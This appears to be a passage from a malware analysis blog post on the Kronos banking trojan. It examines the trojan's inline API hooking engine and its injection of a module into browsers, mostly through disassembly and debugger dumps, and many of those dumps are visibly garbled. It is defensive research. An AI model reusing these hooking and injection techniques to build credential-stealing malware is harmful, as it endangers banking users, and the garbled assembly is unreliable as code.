| 0041664A | push eax | hask function |
| 00416648 | lan adv dward att day [abw/4502] | nook_runccion |
| 00416650 | rea eux, aword ptr ds:[ebx+1F88] | |
| 00416656 | les edu duend str. der [ebu/Co] | [aby: C0]: 7: DolotoVoluoKov |
| 00416657 | rea edx, dword ptr ds:[ebx+co] | [ebx+c0]:2wberelevaluekey |
| 00416650 | push eax | hook function |
| 00416652 | lap adv dword ptp dc: [abv+1502] | nook_runceron |
| 00416663 | nuch edv | |
| 00416669 | lea edy dword oto dei [eby+50] | [eby+E0]:7w0uery0/alueKey/ |
| 00416670 | nuch edv | [CONTEO].2WQUELYValueKey |
| 00416671 | call book test1 417561 | book function |
| 00416676 | lea edy dword ntr ds:[eby+2024] | hook_runceron |
| 00416670 | push edv | |
| 00416670 | lea edy dword ntr ds:[eby+120] | [ebx+120]:NtOpenProcess |
| 004100/0 | rea cax, and a per ast [ebx+120] | [covi izo] / httpein i ocess |

First, the hooking function searches the suitable place in the code of the attacked function, where the hook can be installed:



The above code is an equivalent of the following:

https://github.com/MalwareTech/BasicHook/blob/master/BasicHook/hook.cpp#L103

Then, it installs the hook:

```
00418063
00418063 hook_the_function:
00418063 mov
                 edi, [esi]
                 esi, [ebp+var 44]
00418065 lea
00418068 mov
                 eax, [edi]
0041806A mov
                 edx, [edi+4]
                 ebx, [esi]
0041806D mov
0041806F mov
                 ecx, [esi+4]
00418072 lock cmpxchg8b qword ptr [edi] ; write the hook
00418076 mov
                 esi, [ebp+arg 0]
00418079 mov
                 eax, [esi]
                 [ebp+var_3C], eax
0041807B mov
                 get module base
0041807E call
00418083 <mark>lea</mark>
                 edi, [eax+380h]
                 edx, [ebp+var_38]
00418089 lea
0041808C push
                 edx
0041808D push
                 [ebp+var_38]
                 edx, [ebp+var 34]
00418090 lea
00418093 push
                 edx
00418094 lea
                 edx, [ebp+var_3C]
00418097 push
                 edx
00418098 push
                 ØFFFFFFFFh
                                  ; restore original protection
0041809A call
                 call via edi
                                  ; ZwProtectVirtualMemory
0041809F mov
                 byte ptr [esi+4], 1 ; status = 1 (hooked)
```

As we can see, the used method of installing hook is almost identical to:

https://github.com/MalwareTech/BasicHook/blob/master/BasicHook/hook.cpp#L77

Below you can see an example of Kronos hooking a function *ZwResumeThread* in the memory of the attacked process. Instruction **lock cmpxch8b** is indeed used to overwrite the function's beginning:

| 00418063 | 8B3E | MOV EDI, DWORD PTR DS:[ESI] | Registers (FPU) | |
|----------------------------------------------------------------------|-----------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------|-------------------------------------------|------------|
| 00418065 | 8D75 BC | LEA ESI, DWORD PTR SS:[EBP-44] | EAX 000130B8 | |
| 00418068 | 8B07 | MOV EAX, DWORD PTR DS:[EDI] | ECX 03008089 | |
| 0041806A | 8B57 04 | MOV EDX, DWORD PTR DS:[EDI+4] | EDX 0300BA09 | |
| 0041806D | 8B1E | MOV EBX, DWORD PTR DS:[ESI] | EBX 480650E9 | |
| 0041806F | 8B4E 04 | MOV ECX, DWORD PTR DS:[ESI+4] | ESP 0012EE04 | |
| 00418072 | F0:0FC70F | LOCK CMPXCHG8B QWORD PTR DS: [| EDIJ EBP 0012FF54 | |
| 00418076 | 8B75 08 | MOV ESI, DWORD PTR SS: [EBP+8] | EST 0012EE10 | |
| 00418079 | 8BØ6 | MOV EAX, DWORD PTR DS:[ESI] | EDI 76566409 atdll ZuPasumaThra | - d |
| | | | CDI COCCERCITULE CWNESGMEINIE | 1 U |
| DS+176E66 | 4081-0300R000 | 3000130B8 | EDI TOPOCHHO III CUIT. Ewicesche III Fe | 30 |
| DS:[76F66 | 54A8]=0300BA00 | 0000130B8 | EIP 00418072 hook_tes.00418072 | 30 |
| DS:[76F66 Address | 4A8]=0300BA00 Hex dump | Disassembly | EIP 00418072 hook_tes.00418072 Comment | 30 |
| DS:[76F66 Address 76F664A8 | 64A8]=0300BA00 Hex dump B8 30010000 | 000013088 Disassembly MOV EAX,130 | EIP 00418072 hook_tes.00418072 Comment | 30 |
| DS: [76F66 Address 76F664A8 76F664AD | 4A8]=0300BA00 Hex dump B8 30010000 BA 0003FE7F | 0000130B8 Disassembly MOV EAX,130 MOV EDX,7FFE0300 | EIP 00418072 hook_tes.00418072 Comment | |
| DS:[76F66 Address 76F664A8 76F664AD 76F664B2 | 4A8]=0300BA00 Hex dump B8 30010000 BA 0003FE7F FF12 | 0000130B8 Disassembly MOV EAX,130 MOV EDX,7FFE0300 CALL DWORD PTR DS:[EDX] | EIP 00418072 hook_tes.00418072 Comment | 30 |
| DS:[76F66 Address 76F664A8 76F664AD 76F664B2 76F664B4 | 64A8]=0300BA00 Hex dump B8 30010000 BA 0003FE7F FF12 C2 0800 | 0000130B8 Disassembly MOV EAX,130 MOV EDX,7FFE0300 CALL DWORD PTR DS:[EDX] RETN 8 | EIP 00418072 hook_tes.00418072 Comment | 34 |

After the hook installation, whenever the infected process calls the hooked function, the execution is redirected to the proxy code inside the malicious module:

| 00418063 | 8B3E | MOV | EDI, DWORD PTR DS: [ESI] | | Registers (FPU) |
|------------------------|-----------------------------|-------|-----------------------------------|-----|-----------------------------------|
| 00418065 | 8D75 BC | LEA | ESI,DWORD PTR SS:[EBP-44] | | EAX 000130B8 |
| 00418068 | овог 8857 04 | MOU | EDX.DWORD PTR DS:[EDI] | | ECX 0300BA89 |
| 0041806D | 8B1E | MOV | EBX DWORD PTR DS:[ESI] | | EDX 0300BH00 |
| 0041806F | 8B4E 04 | MOV | ECX, DWORD PTR DS:[ESI+4] | | ESP 0012FE04 |
| 00418072 | F0:0FC70F | LOCI | K CMPXCHG8B QWORD PTR DS:[EDI] | | EBP 0012FF54 |
| 00418076 | 8875-08 9806 | MOU | ESI,DWURD PIR SS:TEBP+8J | + | ESI 0012FF10 |
| 00410019 | 0000 | 1100 | ERA, DWORD FIR DSITEST | _ | EDI 76F664A8 htdll.ZwResumeThread |
| Stack SS: ESI=0012F | [0012FF5C]=00 <u>F10</u> | 34150 | 040 (hook_tes.00415040) | | EIP 00418076 hook_tes.00418076 |
| Address | Hex dump | | Disassembly | | Comment |
| 76F664A8 | -E9 5A064B89 | | JMP_hook_tes.00416B07 <- the redi | rec | tion is installed |
| 76F664AD | BA 0003FE7F | | MOV EDX,7FFE0300 | | |
| 76F664B2 | FF12 | | CALL DWORD PTR DS:[EDX] | | |
| 76F664B4 | C2 0800 | | RETN 8 | | |
| 76E664B7 | 90 | | NOP | | |

The hooking engine used in Kronos is overall more sophisticated. First of all, even the fact that it is a shellcode not a PE file makes a difficulty level of implementing it higher. The author must have taken care of filling all the functions addresses by his own. But also, the author of Kronos shown some more experience in predicting possible real-life scenarios. For example, he took additional care for checking if the code was not already hooked (i.e. by other Trojans or monitoring tools):



Attacking browsers

The malware injects into a browser an additional module (*injlib-client.dll*). Below we can see an example of the DLL injected into Firefox address space:

| 00081000 00015000 | | | | | | Pri Pri | v 0002100 v 0002104 | 4 RW Ø RWE | RW RWE |
|----------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------|
| | icm32 icm32 icm32 icm32 AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes AudioSes MMDevAPI MMDevAPI MMDevAPI MMDevAPI MMDevAPI MMDevAPI | D Dump 10000000 10000100 10000020 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000050 10000110 10000110 10000110 10000110 | 40 50 90 40 50 90 40 60 90 60 90 90 90 11F 85 74 20 62 60 73 20 74 20 62 60 73 20 74 20 62 60 75 40 80 50 81 52 69 63 50 90 90 90 90 90 90 90 90 90 90 90 90 90 | 0010014F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | FF 0 00 00 00 | Pri 04 00 40 00 00 00 01 B8 61 60 20 69 24 00 85 00 89 C0 89 C0 89 C0 89 C0 89 C0 89 C0 89 C0 80 00 82 B4 05 00 05 0 | 0002104 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | EVE FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | RWE MZE. S. |
| 00003000 00001000 00060000 00002000 | MMDeVHPI MSCMS MSCMS MSCMS | .text .data | SFX, code, data | imports, | exports | Ima Ima Ima | 9 0100100 9 0100100 9 0100100 | 2 R 2 R 2 R | RWE RWE RWE |

The malware starts the injected module with the help of the injected shellcode:

| D Dump | 00A5000000A51 | FFF | |
|----------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------|
| 00A50000 00A50002 00A50002 00A5000C 00A50010 00A50015 00A50015 00A50015 00A50015 00A50015 | 6A 00 68 00000000 68 98D53277 6A 00 6A 01 68 00000010 68 EF439775 B8 A5370010 FFE0 90 | PUSH 0x0 PUSH 0x0 PUSH ntdll_1.RtlExit PUSH 0x1 PUSH 0x10000000 PUSH 0x10000000 PUSH kernel32.Resume MOV EAX.0x100037A5 JMP EAX NOP | JserThread Thread |
| c yOo:th | read 00000738 | | |
| 100037A5 | PUSH EBP | | |
| 100037A6 100037A8 100037AF 100037AF 100037B4 100037B6 100037B6 100037C5 100037C4 100037C5 100037C9 100037C9 | MOV EBP.ESP CMP DWORD PTR MOV EAX,DWORD PTR MOV DWORD PTR JNZ SHORT 100 CALL 10003688 TEST EAX,EAX JE SHORT 1000 CALL 10003595 JMP SHORT 100 XOR EAX,EAX INC EAX POP EBP RETN 0×C | SS: [EBP+0xC], 0x1 PTR SS: [EBP+0x8] DS: [0x10013A24], EAX 037C6 37C6 037C9 | ntdll_1.7736F826 |

We can see some API redirections added by the malware. Some of the functions imported by the attacked browser are hooked so that all the data that passes through them is tapped by the Kronos module.

The data that is being grabbed using the hooked browser API is then sent to the main module, that is coordinating malware's work and reporting to the CnC server.

Conclusion

An overall look at the tricks used by Kronos shows that the author has a prior knowledge in implementing malware solutions. The code is well obfuscated, and also uses various tricks that requires understanding of some low-level workings of the operating system. The author not only used interesting tricks, but also connected them together in a logical and fitting way. The level of precision lead us to the hypothesis, that Kronos is the work of a mature developer, rather than an experimenting youngster.

Malwarebytes users are protected against the Kronos malware.

Appendix

"Overview of the Kronos banking malware rootkit" by Lexsi

Decrypting the configuration

See also:

Inside the Kronos malware – part 2

This video cannot be displayed because your *Functional Cookies* are currently disabled. To enable them, please visit our <u>privacy policy</u> and search for the Cookies section. Select *"Click Here"* to open the Privacy Preference Center and select *"Functional Cookies"* in the menu. You can switch the tab back to *"Active"* or disable by moving the tab to *"Inactive."* Click *"Save Settings."*

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @<u>hasherezade</u> and her personal blog: <u>https://hshrzd.wordpress.com</u>.